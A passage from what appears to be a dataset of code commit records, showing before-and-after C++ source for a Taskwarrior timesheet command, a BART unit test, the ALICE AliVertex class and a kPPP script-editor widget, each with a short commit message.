label (context.config.get (\"color.label\"));\n completed.colorHeader (label);\n\n for (auto& task : all)\n {\n \/\/ If task completed within range.\n if (task.getStatus () == Task::completed)\n {\n Date compDate (task.get_date (\"end\"));\n if (compDate >= start && compDate < end)\n {\n Color c;\n if (context.color ())\n autoColorize (task, c);\n\n int row = completed.addRow ();\n std::string format = context.config.get (\"dateformat.report\");\n if (format == \"\")\n format = context.config.get (\"dateformat\");\n completed.set (row, 1, task.get (\"project\"), c);\n\n if(task.has (\"due\"))\n {\n Date dt (task.get_date (\"due\"));\n completed.set (row, 2, dt.toString (format));\n }\n\n std::string description = task.get (\"description\");\n int indent = context.config.getInteger (\"indent.annotation\");\n\n std::map <std::string, std::string> annotations;\n task.getAnnotations (annotations);\n for (auto& ann : annotations)\n description += \"\\n\"\n + std::string (indent, ' ')\n + Date (ann.first.substr (11)).toString (context.config.get (\"dateformat\"))\n + \" \"\n + ann.second;\n\n completed.set (row, 3, description, c);\n }\n }\n }\n\n out << \" \" << format (STRING_CMD_TIMESHEET_DONE, completed.rows ()) << \"\\n\";\n\n if (completed.rows ())\n out << completed.render ()\n << \"\\n\";\n\n \/\/ Now render the started table.\n ViewText started;\n started.width (context.getWidth ());\n started.add (Column::factory (\"string\", \" \"));\n started.add (Column::factory (\"string\", STRING_COLUMN_LABEL_PROJECT));\n started.add (Column::factory (\"string.right\", STRING_COLUMN_LABEL_DUE));\n started.add (Column::factory (\"string\", STRING_COLUMN_LABEL_DESC));\n started.colorHeader (label);\n\n for (auto& task : all)\n {\n \/\/ If task started within range, but not completed withing range.\n if (task.getStatus () == Task::pending &&\n task.has (\"start\"))\n {\n Date startDate (task.get_date (\"start\"));\n if (startDate >= start && startDate < end)\n {\n Color c;\n if (context.color ())\n autoColorize (task, c);\n\n int row = started.addRow ();\n std::string format = context.config.get (\"dateformat.report\");\n if (format == \"\")\n format = context.config.get (\"dateformat\");\n started.set (row, 1, task.get (\"project\"), c);\n\n if (task.has (\"due\"))\n {\n Date dt (task.get_date (\"due\"));\n started.set (row, 2, dt.toString (format));\n }\n\n std::string description = task.get (\"description\");\n int indent = context.config.getInteger (\"indent.annotation\");\n\n std::map <std::string, std::string> annotations;\n task.getAnnotations (annotations);\n for (auto& ann : annotations)\n description += \"\\n\"\n + std::string (indent, ' ')\n + Date (ann.first.substr (11)).toString (context.config.get (\"dateformat\"))\n + \" \"\n + ann.second;\n\n started.set (row, 3, description, c);\n }\n }\n }\n\n out << \" \" << format (STRING_CMD_TIMESHEET_STARTED, started.rows ()) << \"\\n\";\n\n if (started.rows ())\n out << started.render ()\n << \"\\n\\n\";\n\n \/\/ Prior week.\n start -= 7 * 86400;\n end -= 7 * 86400;\n }\n\n output = out.str ();\n return rc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>CmdTimesheet: Converted from CLI to CLI2<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2015, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <sstream>\n#include <stdlib.h>\n#include <Context.h>\n#include <ViewText.h>\n#include <Date.h>\n#include <main.h>\n#include <i18n.h>\n#include <text.h>\n#include <CmdTimesheet.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nCmdTimesheet::CmdTimesheet ()\n{\n _keyword = \"timesheet\";\n _usage = \"task timesheet [weeks]\";\n _description = STRING_CMD_TIMESHEET_USAGE;\n _read_only = true;\n _displays_id = false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint CmdTimesheet::execute (std::string& output)\n{\n int rc = 0;\n\n \/\/ Scan the pending tasks.\n handleRecurrence ();\n std::vector <Task> all = context.tdb2.all_tasks ();\n\n \/\/ What day of the week does the user consider the first?\n int weekStart = Date::dayOfWeek (context.config.get (\"weekstart\"));\n if (weekStart != 0 && weekStart != 1)\n throw std::string (STRING_DATE_BAD_WEEKSTART);\n\n \/\/ Determine the date of the first day of the most recent report.\n Date today;\n Date start;\n start -= (((today.dayOfWeek () - weekStart) + 7) % 7) * 86400;\n\n \/\/ Roll back to midnight.\n start = Date (start.month (), start.day (), start.year ());\n Date end = start + (7 * 86400);\n\n \/\/ Determine how many reports to run.\n int quantity = 1;\n std::vector <std::string> words = context.cli2.getWords ();\n if (words.size () == 1)\n quantity = strtol (words[0].c_str (), NULL, 10);;\n\n std::stringstream out;\n for (int week = 0; week < quantity; ++week)\n {\n Date endString (end);\n endString -= 86400;\n\n std::string title = start.toString (context.config.get (\"dateformat\"))\n + \" - \"\n + endString.toString (context.config.get (\"dateformat\"));\n\n Color bold (Color::nocolor, Color::nocolor, false, true, false);\n out << \"\\n\"\n << (context.color () ? bold.colorize (title) : title)\n << \"\\n\";\n\n \/\/ Render the completed table.\n ViewText completed;\n completed.width (context.getWidth ());\n completed.add (Column::factory (\"string\", \" \"));\n completed.add (Column::factory (\"string\", STRING_COLUMN_LABEL_PROJECT));\n completed.add (Column::factory (\"string.right\", STRING_COLUMN_LABEL_DUE));\n completed.add (Column::factory (\"string\", STRING_COLUMN_LABEL_DESC));\n\n Color label (context.config.get (\"color.label\"));\n completed.colorHeader (label);\n\n for (auto& task : all)\n {\n \/\/ If task completed within range.\n if (task.getStatus () == Task::completed)\n {\n Date compDate (task.get_date (\"end\"));\n if (compDate >= start && compDate < end)\n {\n Color c;\n if (context.color ())\n autoColorize (task, c);\n\n int row = completed.addRow ();\n std::string format = context.config.get (\"dateformat.report\");\n if (format == \"\")\n format = context.config.get (\"dateformat\");\n completed.set (row, 1, task.get (\"project\"), c);\n\n if(task.has (\"due\"))\n {\n Date dt (task.get_date (\"due\"));\n completed.set (row, 2, dt.toString (format));\n }\n\n std::string description = task.get (\"description\");\n int indent = context.config.getInteger (\"indent.annotation\");\n\n std::map <std::string, std::string> annotations;\n task.getAnnotations (annotations);\n for (auto& ann : annotations)\n description += \"\\n\"\n + std::string (indent, ' ')\n + Date (ann.first.substr (11)).toString (context.config.get (\"dateformat\"))\n + \" \"\n + ann.second;\n\n completed.set (row, 3, description, c);\n }\n }\n }\n\n out << \" \" << format (STRING_CMD_TIMESHEET_DONE, completed.rows ()) << \"\\n\";\n\n if (completed.rows ())\n out << completed.render ()\n << \"\\n\";\n\n \/\/ Now render the started table.\n ViewText started;\n started.width (context.getWidth ());\n started.add (Column::factory (\"string\", \" \"));\n started.add (Column::factory (\"string\", STRING_COLUMN_LABEL_PROJECT));\n started.add (Column::factory (\"string.right\", STRING_COLUMN_LABEL_DUE));\n started.add (Column::factory (\"string\", STRING_COLUMN_LABEL_DESC));\n started.colorHeader (label);\n\n for (auto& task : all)\n {\n \/\/ If task started within range, but not completed withing range.\n if (task.getStatus () == Task::pending &&\n task.has (\"start\"))\n {\n Date startDate (task.get_date (\"start\"));\n if (startDate >= start && startDate < end)\n {\n Color c;\n if (context.color ())\n autoColorize (task, c);\n\n int row = started.addRow ();\n std::string format = context.config.get (\"dateformat.report\");\n if (format == \"\")\n format = context.config.get (\"dateformat\");\n started.set (row, 1, task.get (\"project\"), c);\n\n if (task.has (\"due\"))\n {\n Date dt (task.get_date (\"due\"));\n started.set (row, 2, dt.toString (format));\n }\n\n std::string description = task.get (\"description\");\n int indent = context.config.getInteger (\"indent.annotation\");\n\n std::map <std::string, std::string> annotations;\n task.getAnnotations (annotations);\n for (auto& ann : annotations)\n description += \"\\n\"\n + std::string (indent, ' ')\n + Date (ann.first.substr (11)).toString (context.config.get (\"dateformat\"))\n + \" \"\n + ann.second;\n\n started.set (row, 3, description, c);\n }\n }\n }\n\n out << \" \" << format (STRING_CMD_TIMESHEET_STARTED, started.rows ()) << \"\\n\";\n\n if (started.rows ())\n out << started.render ()\n << \"\\n\\n\";\n\n \/\/ Prior week.\n start -= 7 * 86400;\n end -= 7 * 86400;\n }\n\n output = out.str ();\n return rc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"} {"text":"<commit_before>#include \"iteration\/updater\/source_updater_gauss_seidel.h\"\n\n#include <memory>\n#include <iteration\/updater\/angular_source_updater_gauss_seidel.h>\n\n#include \"test_helpers\/gmock_wrapper.h\"\n#include \"quadrature\/tests\/quadrature_set_mock.h\"\n#include \"formulation\/tests\/angular_stamper_mock.h\"\n\nnamespace {\n\nusing namespace bart;\n\ntemplate <typename DimensionWrapper>\nclass IterationUpdaterAngularSourceUpdaterGaussSeidelTest :\n public ::testing::Test {\n public:\n static constexpr int dim = DimensionWrapper::value;\n using UpdaterType = iteration::updater::AngularSourceUpdaterGaussSeidel<formulation::AngularStamperI<dim>>;\n using StamperType = formulation::AngularStamperMock<dim>;\n using QuadratureSetType = quadrature::QuadratureSetMock<dim>;\n\n std::shared_ptr<StamperType> stamper_ptr_;\n std::shared_ptr<QuadratureSetType> quadrature_set_ptr_;\n std::unique_ptr<UpdaterType> test_updater_;\n\n void SetUp() override;\n};\n\ntemplate <typename DimensionWrapper>\nvoid IterationUpdaterAngularSourceUpdaterGaussSeidelTest<DimensionWrapper>::SetUp() {\n stamper_ptr_ = std::make_shared<StamperType>();\n quadrature_set_ptr_ = std::make_shared<QuadratureSetType>();\n\n test_updater_ = std::make_unique<UpdaterType>(stamper_ptr_, quadrature_set_ptr_);\n}\n\nTYPED_TEST_SUITE(IterationUpdaterAngularSourceUpdaterGaussSeidelTest,\n bart::testing::AllDimensions);\n\nTYPED_TEST(IterationUpdaterAngularSourceUpdaterGaussSeidelTest, Constructor) {\n constexpr int dim = this->dim;\n using UpdaterType = iteration::updater::AngularSourceUpdaterGaussSeidel<formulation::AngularStamperI<dim>>;\n using StamperType = formulation::AngularStamperMock<dim>;\n auto stamper_ptr = std::make_shared<StamperType>();\n auto quadrature_set_ptr = std::make_shared<quadrature::QuadratureSetMock<dim>>();\n\n EXPECT_NO_THROW({ UpdaterType test_updater(stamper_ptr, quadrature_set_ptr); });\n EXPECT_ANY_THROW({ UpdaterType test_updater(nullptr, quadrature_set_ptr); });\n EXPECT_ANY_THROW({ UpdaterType test_updater(stamper_ptr, nullptr); });\n}\n\nTYPED_TEST(IterationUpdaterAngularSourceUpdaterGaussSeidelTest, Getters) {\n auto quadrature_set_ptr = this->test_updater_->quadrature_set_ptr();\n auto stamper_ptr = this->test_updater_->stamper_ptr();\n\n EXPECT_EQ(quadrature_set_ptr, this->quadrature_set_ptr_.get());\n EXPECT_EQ(stamper_ptr, this->stamper_ptr_.get());\n}\n\n} \/\/ namespace\n<commit_msg>started adding test to tests for AngularSourceUpdater<commit_after>#include \"iteration\/updater\/source_updater_gauss_seidel.h\"\n\n#include <memory>\n#include <iteration\/updater\/angular_source_updater_gauss_seidel.h>\n#include <deal.II\/base\/mpi.h>\n\n#include \"test_helpers\/gmock_wrapper.h\"\n#include \"quadrature\/tests\/quadrature_set_mock.h\"\n#include \"formulation\/tests\/angular_stamper_mock.h\"\n#include \"system\/terms\/tests\/linear_term_mock.h\"\n\nnamespace {\n\nusing namespace bart;\nusing ::testing::A, ::testing::Return, ::testing::_;\n\ntemplate <typename DimensionWrapper>\nclass IterationUpdaterAngularSourceUpdaterGaussSeidelTest :\n public ::testing::Test {\n public:\n static constexpr int dim = DimensionWrapper::value;\n using UpdaterType = iteration::updater::AngularSourceUpdaterGaussSeidel<formulation::AngularStamperI<dim>>;\n using StamperType = formulation::AngularStamperMock<dim>;\n using QuadratureSetType = quadrature::QuadratureSetMock<dim>;\n using RightHandSideType = bart::system::terms::LinearTermMock;\n\n \/\/ Tested object\n std::unique_ptr<UpdaterType> test_updater_;\n\n \/\/ Dependencies\n std::shared_ptr<StamperType> stamper_ptr_;\n std::shared_ptr<QuadratureSetType> quadrature_set_ptr_;\n\n \/\/ Other test objects\n bart::system::System test_system_;\n std::shared_ptr<system::MPIVector> source_vector_ptr_;\n bart::system::MPIVector expected_vector_;\n RightHandSideType* right_hand_side_obs_ptr_;\n\n void SetUp() override;\n void SetUpTestObject();\n void SetUpSystem();\n};\n\ntemplate <typename DimensionWrapper>\nvoid IterationUpdaterAngularSourceUpdaterGaussSeidelTest<DimensionWrapper>::SetUp() {\n SetUpTestObject();\n SetUpSystem();\n}\n\ntemplate <typename DimensionWrapper>\nvoid IterationUpdaterAngularSourceUpdaterGaussSeidelTest<DimensionWrapper>::SetUpTestObject() {\n stamper_ptr_ = std::make_shared<StamperType>();\n quadrature_set_ptr_ = std::make_shared<QuadratureSetType>();\n\n test_updater_ = std::make_unique<UpdaterType>(stamper_ptr_, quadrature_set_ptr_);\n}\n\ntemplate <typename DimensionWrapper>\nvoid IterationUpdaterAngularSourceUpdaterGaussSeidelTest<DimensionWrapper>::SetUpSystem() {\n auto mock_right_hand_side_ptr = std::make_unique<RightHandSideType>();\n right_hand_side_obs_ptr_ = mock_right_hand_side_ptr.get();\n\n source_vector_ptr_ = std::make_shared<system::MPIVector>();\n auto n_processes = dealii::Utilities::MPI::n_mpi_processes(MPI_COMM_WORLD);\n source_vector_ptr_->reinit(MPI_COMM_WORLD, n_processes*5, 5);\n expected_vector_.reinit(*source_vector_ptr_);\n\n ON_CALL(*mock_right_hand_side_ptr, GetVariableTermPtr(A<system::Index>(), _))\n .WillByDefault(Return(source_vector_ptr_));\n\n test_system_.right_hand_side_ptr_ = std::move(mock_right_hand_side_ptr);\n}\n\n\n\nTYPED_TEST_SUITE(IterationUpdaterAngularSourceUpdaterGaussSeidelTest,\n bart::testing::AllDimensions);\n\nTYPED_TEST(IterationUpdaterAngularSourceUpdaterGaussSeidelTest, Constructor) {\n constexpr int dim = this->dim;\n using UpdaterType = iteration::updater::AngularSourceUpdaterGaussSeidel<formulation::AngularStamperI<dim>>;\n using StamperType = formulation::AngularStamperMock<dim>;\n auto stamper_ptr = std::make_shared<StamperType>();\n auto quadrature_set_ptr = std::make_shared<quadrature::QuadratureSetMock<dim>>();\n\n EXPECT_NO_THROW({ UpdaterType test_updater(stamper_ptr, quadrature_set_ptr); });\n EXPECT_ANY_THROW({ UpdaterType test_updater(nullptr, quadrature_set_ptr); });\n EXPECT_ANY_THROW({ UpdaterType test_updater(stamper_ptr, nullptr); });\n}\n\nTYPED_TEST(IterationUpdaterAngularSourceUpdaterGaussSeidelTest, Getters) {\n auto quadrature_set_ptr = this->test_updater_->quadrature_set_ptr();\n auto stamper_ptr = this->test_updater_->stamper_ptr();\n\n EXPECT_EQ(quadrature_set_ptr, this->quadrature_set_ptr_.get());\n EXPECT_EQ(stamper_ptr, this->stamper_ptr_.get());\n}\n\n\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 2006-2008, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n\/\/-----------------------------------------------------------------\n\/\/ Implementation of the base Vertex class\n\/\/ This class contains the Secondary Vertex\n\/\/ of a set of tracks\n\/\/ And it is the base class for primary vertices\n\/\/ Origin: F.Prino, Torino, prino@to.infn.it\n\/\/-----------------------------------------------------------------\n\n#include \"AliVertex.h\"\n\n\nClassImp(AliVertex)\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex() :\n TNamed(),\n fSigma(0),\n fNContributors(0),\n fNIndices(0)\n{\n\/\/\n\/\/ Default Constructor, set everything to 0\n\/\/\n for(Int_t k=0;k<3;k++) fPosition[k] = 0;\n fIndices = 0;\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex(Double_t position[3],Double_t dispersion,\n\t\t Int_t nContributors):\n TNamed(),\n fSigma(dispersion),\n fNContributors(nContributors),\n fNIndices(0)\n{\n \/\/\n \/\/ Standard Constructor\n \/\/\n\n for(Int_t k=0;k<3;k++) fPosition[k] = position[k];\n fIndices = 0;\n SetName(\"BaseVertex\");\n\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex(const AliVertex &source):\n TNamed(source),\n fSigma(source.GetDispersion()),\n fNContributors(source.GetNContributors()),\n fNIndices(source.GetNIndices())\n{\n \/\/\n \/\/ Copy constructor\n \/\/\n for(Int_t i=0;i<3;i++)fPosition[i] = source.fPosition[i];\n if(source.fNIndices>0) {\n fIndices = new UShort_t[fNIndices];\n memcpy(fIndices,source.fIndices,fNIndices*sizeof(UShort_t));\n }\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex &AliVertex::operator=(const AliVertex &source){\n \/\/\n \/\/ assignment operator\n \/\/\n if(&source == this) return *this;\n this->SetName(source.GetName());\n this->SetTitle(source.GetTitle());\n for(Int_t i=0;i<3;i++)fPosition[i] = source.fPosition[i];\n fSigma = source.GetDispersion();\n fNContributors = source.GetNContributors();\n fNIndices = source.GetNIndices();\n if(source.fNIndices>0) {\n fIndices = new UShort_t[fNIndices];\n memcpy(fIndices,source.fIndices,fNIndices*sizeof(UShort_t));\n }\n return *this;\n}\n\n\n\/\/--------------------------------------------------------------------------\nAliVertex::~AliVertex() {\n\/\/ \n\/\/ Default Destructor\n\/\/\n delete [] fIndices;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::GetXYZ(Double_t position[3]) const {\n\/\/\n\/\/ Return position of the vertex in global frame\n\/\/\n position[0] = fPosition[0];\n position[1] = fPosition[1];\n position[2] = fPosition[2];\n\n return;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::SetIndices(Int_t nindices,UShort_t *indices) {\n\/\/\n\/\/ Set indices of tracks used for vertex determination \n\/\/\n if(fNContributors<1) { printf(\"fNContributors<1\"); return; }\n fNIndices = nindices;\n fIndices = new UShort_t[fNIndices];\n for(Int_t i=0;i<fNIndices;i++) fIndices[i] = indices[i]; \n return;\n}\n\/\/--------------------------------------------------------------------------\nBool_t AliVertex::UsesTrack(Int_t index) const {\n\/\/\n\/\/ checks if a track is used for the vertex \n\/\/\n if(fNIndices<1) { printf(\"fNIndices<1\"); return kFALSE; }\n for(Int_t i=0;i<fNIndices;i++) {\n if((Int_t)fIndices[i]==index) return kTRUE;\n }\n return kFALSE;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::Print(Option_t* \/*option*\/) const {\n\/\/\n\/\/ Print out information on all data members\n\/\/\n printf(\"Vertex position:\\n\");\n printf(\" x = %f\\n\",fPosition[0]);\n printf(\" y = %f\\n\",fPosition[1]);\n printf(\" z = %f\\n\",fPosition[2]);\n printf(\" Dispersion = %f\\n\",fSigma);\n printf(\" # tracks = %d\\n\",fNContributors);\n\n return;\n}\n\n\n\n\n<commit_msg>Corrected initialization of pointers (Solaris x86)<commit_after>\/**************************************************************************\n * Copyright(c) 2006-2008, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n\/\/-----------------------------------------------------------------\n\/\/ Implementation of the base Vertex class\n\/\/ This class contains the Secondary Vertex\n\/\/ of a set of tracks\n\/\/ And it is the base class for primary vertices\n\/\/ Origin: F.Prino, Torino, prino@to.infn.it\n\/\/-----------------------------------------------------------------\n\n#include \"AliVertex.h\"\n\n\nClassImp(AliVertex)\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex() :\n TNamed(),\n fSigma(0),\n fNContributors(0),\n fNIndices(0)\n{\n\/\/\n\/\/ Default Constructor, set everything to 0\n\/\/\n for(Int_t k=0;k<3;k++) fPosition[k] = 0;\n fIndices = 0;\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex(Double_t position[3],Double_t dispersion,\n\t\t Int_t nContributors):\n TNamed(),\n fSigma(dispersion),\n fNContributors(nContributors),\n fNIndices(0)\n{\n \/\/\n \/\/ Standard Constructor\n \/\/\n\n for(Int_t k=0;k<3;k++) fPosition[k] = position[k];\n fIndices = 0;\n SetName(\"BaseVertex\");\n\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex::AliVertex(const AliVertex &source):\n TNamed(source),\n fSigma(source.GetDispersion()),\n fNContributors(source.GetNContributors()),\n fNIndices(source.GetNIndices()),\n fIndices(0x0)\n{\n \/\/\n \/\/ Copy constructor\n \/\/\n for(Int_t i=0;i<3;i++)fPosition[i] = source.fPosition[i];\n if(source.fNIndices>0) {\n fIndices = new UShort_t[fNIndices];\n memcpy(fIndices,source.fIndices,fNIndices*sizeof(UShort_t));\n }\n}\n\n\/\/--------------------------------------------------------------------------\nAliVertex &AliVertex::operator=(const AliVertex &source){\n \/\/\n \/\/ assignment operator\n \/\/\n if(&source == this) return *this;\n this->SetName(source.GetName());\n this->SetTitle(source.GetTitle());\n for(Int_t i=0;i<3;i++)fPosition[i] = source.fPosition[i];\n fSigma = source.GetDispersion();\n fNContributors = source.GetNContributors();\n fNIndices = source.GetNIndices();\n fIndices = 0x0;\n if(source.fNIndices>0) {\n fIndices = new UShort_t[fNIndices];\n memcpy(fIndices,source.fIndices,fNIndices*sizeof(UShort_t));\n }\n return *this;\n}\n\n\n\/\/--------------------------------------------------------------------------\nAliVertex::~AliVertex() {\n\/\/ \n\/\/ Default Destructor\n\/\/\n delete [] fIndices;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::GetXYZ(Double_t position[3]) const {\n\/\/\n\/\/ Return position of the vertex in global frame\n\/\/\n position[0] = fPosition[0];\n position[1] = fPosition[1];\n position[2] = fPosition[2];\n\n return;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::SetIndices(Int_t nindices,UShort_t *indices) {\n\/\/\n\/\/ Set indices of tracks used for vertex determination \n\/\/\n if(fNContributors<1) { printf(\"fNContributors<1\"); return; }\n fNIndices = nindices;\n delete [] fIndices;\n fIndices = new UShort_t[fNIndices];\n for(Int_t i=0;i<fNIndices;i++) fIndices[i] = indices[i]; \n return;\n}\n\/\/--------------------------------------------------------------------------\nBool_t AliVertex::UsesTrack(Int_t index) const {\n\/\/\n\/\/ checks if a track is used for the vertex \n\/\/\n if(fNIndices<1) { printf(\"fNIndices<1\"); return kFALSE; }\n for(Int_t i=0;i<fNIndices;i++) {\n if((Int_t)fIndices[i]==index) return kTRUE;\n }\n return kFALSE;\n}\n\/\/--------------------------------------------------------------------------\nvoid AliVertex::Print(Option_t* \/*option*\/) const {\n\/\/\n\/\/ Print out information on all data members\n\/\/\n printf(\"Vertex position:\\n\");\n printf(\" x = %f\\n\",fPosition[0]);\n printf(\" y = %f\\n\",fPosition[1]);\n printf(\" z = %f\\n\",fPosition[2]);\n printf(\" Dispersion = %f\\n\",fSigma);\n printf(\" # tracks = %d\\n\",fNContributors);\n\n return;\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\n\/*\n * kPPP: A front end for pppd for the KDE project\n *\n * $Id$\n *\n * Copyright (C) 1997 Bernd Johannes Wuebben\n * wuebben@math.cornell.edu\n *\n * based on EzPPP:\n * Copyright (C) 1997 Jay Painter\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this program; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"scriptedit.h\"\n#include <qlayout.h>\n#include <qcombobox.h>\n#include <qlineedit.h>\n\/\/Added by qt3to4:\n#include <QHBoxLayout>\n\nScriptEdit::ScriptEdit( QWidget *parent )\n : QWidget(parent)\n{\n QHBoxLayout *tl = new QHBoxLayout(this);\n tl->setSpacing(10);\n tl->setMargin(0);\n\n st = new QComboBox(this, \"st\");\n st->addItem(\"Expect\");\n st->addItem(\"Send\");\n st->addItem(\"Pause (sec)\");\n st->addItem(\"Hangup\");\n st->addItem(\"Answer\");\n st->addItem(\"Timeout (sec)\");\n st->addItem(\"Password\");\n st->addItem(\"ID\");\n st->addItem(\"Prompt\");\n st->addItem(\"PWPrompt\");\n st->addItem(\"LoopStart\");\n st->addItem(\"LoopEnd\");\n st->addItem(\"Scan\");\n st->addItem(\"Save\");\n st->addItem(\"SendNoEcho\");\n connect(st, SIGNAL(activated(int)), SLOT(setType(int)));\n\n se = new QLineEdit(this, \"se\");\n se->setGeometry(120, 5, 140, 25);\n se->setMaxLength(50);\n connect(se, SIGNAL(returnPressed()), SLOT(seReturnPressed()));\n\n tl->addWidget(st, 3);\n tl->addWidget(se, 7);\n\n setType(0);\n\n tl->activate();\n}\n\n\nvoid ScriptEdit::setEnabled(bool b) {\n se->setEnabled(b);\n st->setEnabled(b);\n}\n\nvoid ScriptEdit::seReturnPressed() {\n emit returnPressed();\n}\n\n\nQString ScriptEdit::text()const {\n return se->text();\n}\n\nvoid ScriptEdit::setText(const QString &t) {\n se->setText(t);\n}\n\n\nint ScriptEdit::type()const {\n return st->currentIndex();\n}\n\nvoid ScriptEdit::setType(int i) {\n switch(i) {\n case Expect:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Send:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Pause:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Hangup:\n se->setText(\"\");\n se->setEnabled(FALSE);\n break;\n\n case Answer:\n se->setText(\"\");\n se->setEnabled(FALSE);\n break;\n\n case Timeout:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Password:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case ID:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Prompt:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case PWPrompt:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case LoopStart:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case LoopEnd:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Scan:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Save:\n se->setText(\"password\");\n se->setEnabled(FALSE);\n break;\n\n default: break;\n }\n}\n\n#include 